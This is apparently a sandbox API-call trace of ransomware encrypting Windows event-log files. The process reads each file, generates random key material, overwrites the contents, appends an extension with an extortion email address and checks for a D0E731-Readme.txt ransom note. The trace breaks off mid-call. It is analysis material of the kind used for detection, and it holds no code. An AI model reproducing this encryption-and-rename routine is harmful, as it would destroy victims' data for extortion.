lpNewFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.392] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.392] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0164.393] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.393] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.393] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96460) returned 1 [0164.393] RtlExitUserThread (Status=0x1) Thread: id = 1520 os_tid = 0xe9c [0164.394] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.395] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.395] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.395] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x67ef8d4 | out: lpFileSize=0x67ef8d4*=69824) returned 1 [0164.395] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.395] ReadFile (in: hFile=0x4a0, lpBuffer=0x67ef8a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x67ef8a8*, lpNumberOfBytesRead=0x67ef8a4*=0x4, lpOverlapped=0x0) returned 1 [0164.396] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.396] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.396] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.396] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9a0 [0164.396] NtQuerySystemTime (in: CurrentTime=0x67ef880 | out: CurrentTime=0x67ef880*=132121213217090480) returned 0x0 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x793abfdb [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x90d9ba9f [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0xc832d72b [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0xf81d7a25 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0xb57bbb23 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x154dab56 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x21144443 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x51a7c989 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x371aeb17 [0164.396] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x2b8983b1 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0xe1baf04d [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x54938e7a [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x274844cc [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x7d74f4f2 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x8207b453 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x3b5b74ec [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x2521dd91 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x308ab9d5 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x4bc1ebd2 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x4336b821 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x2e018dc5 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x513ae2a5 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x15cc2bfc [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x214eb2b4 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x31df58c [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x20d008ee [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0xa312e219 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x907f7beb [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x39af8f12 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0xc86b2583 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x47b65606 [0164.397] RtlRandom (in: Seed=0x67ef88c | out: Seed=0x67ef88c) returned 0x5317ff9b [0164.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9c8 [0164.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.407] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.407] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x67ef858, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x67ef858*=0x4096, lpOverlapped=0x0) returned 1 [0164.408] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.408] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.408] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.408] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.409] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x67ef858, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x67ef858*=0x4096, lpOverlapped=0x0) returned 1 [0164.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.410] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x67ef890, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x67ef890*=0x20, lpOverlapped=0x0) returned 1 [0164.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x67ef8a4*=0x8, lpOverlapped=0x0) returned 1 [0164.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x67ef8bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x67ef8bc*, lpNumberOfBytesWritten=0x67ef8a4*=0x4, lpOverlapped=0x0) returned 1 [0164.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x67ef8a4*=0x4, lpOverlapped=0x0) returned 1 [0164.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x67ef8a4*=0x6c, lpOverlapped=0x0) returned 1 [0164.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x67ef8a4*=0x20, lpOverlapped=0x0) returned 1 [0164.411] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x67ef8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x67ef8a4*=0x4, lpOverlapped=0x0) returned 1 [0164.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a9c8) returned 1 [0164.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.411] CloseHandle (hObject=0x4a0) returned 1 [0164.411] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x116) returned 0x2f6ab60 [0164.411] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.411] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.411] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.412] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.412] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.412] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.412] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.412] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.412] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.412] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.412] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb8) returned 1 [0164.412] RtlExitUserThread (Status=0x1) Thread: id = 1521 os_tid = 0xea0 [0164.413] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.414] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.414] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.414] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x686f978 | out: lpFileSize=0x686f978*=69824) returned 1 [0164.414] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.414] ReadFile (in: hFile=0x4a0, lpBuffer=0x686f94c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x686f94c*, lpNumberOfBytesRead=0x686f948*=0x4, lpOverlapped=0x0) returned 1 [0164.415] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9c8 [0164.415] NtQuerySystemTime (in: CurrentTime=0x686f924 | out: CurrentTime=0x686f924*=132121213217247049) returned 0x0 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xd468d31d [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x4c21705c [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xb23c80f4 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xd84b0f9f [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x65093393 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x96129d07 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x6266a1f4 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x19bce088 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xc91a1270 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x90fb5fc6 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x62d8edf5 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x88bf29dd [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xb205ea25 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xdbc0f000 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x265144ec [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xd12108e2 [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xb3d3108f [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xe8f8225d [0164.415] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x28b4c73a [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x7862c5af [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x84417a38 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x1fbb2249 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x550610f0 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x7bfc17f5 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x38711db1 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x73aa0624 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xec7ec2ad [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x2b847ae7 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x721d1606 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0xdbe66044 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x74f5f0f6 [0164.416] RtlRandom (in: Seed=0x686f930 | out: Seed=0x686f930) returned 0x5b743485 [0164.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9f0 [0164.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.426] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.426] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x686f8fc, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x686f8fc*=0x4096, lpOverlapped=0x0) returned 1 [0164.427] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.427] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.428] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x686f8fc, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x686f8fc*=0x4096, lpOverlapped=0x0) returned 1 [0164.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.428] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.428] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x686f934, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x686f934*=0x20, lpOverlapped=0x0) returned 1 [0164.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.428] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x686f948*=0x8, lpOverlapped=0x0) returned 1 [0164.429] WriteFile (in: hFile=0x4a0, lpBuffer=0x686f960*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x686f960*, lpNumberOfBytesWritten=0x686f948*=0x4, lpOverlapped=0x0) returned 1 [0164.429] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x686f948*=0x4, lpOverlapped=0x0) returned 1 [0164.429] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x686f948*=0x6c, lpOverlapped=0x0) returned 1 [0164.429] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x686f948*=0x20, lpOverlapped=0x0) returned 1 [0164.429] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x686f948, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x686f948*=0x4, lpOverlapped=0x0) returned 1 [0164.429] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.429] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a9f0) returned 1 [0164.429] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.429] CloseHandle (hObject=0x4a0) returned 1 [0164.429] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85918 [0164.429] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.429] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.429] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.430] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.430] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.430] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.430] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, 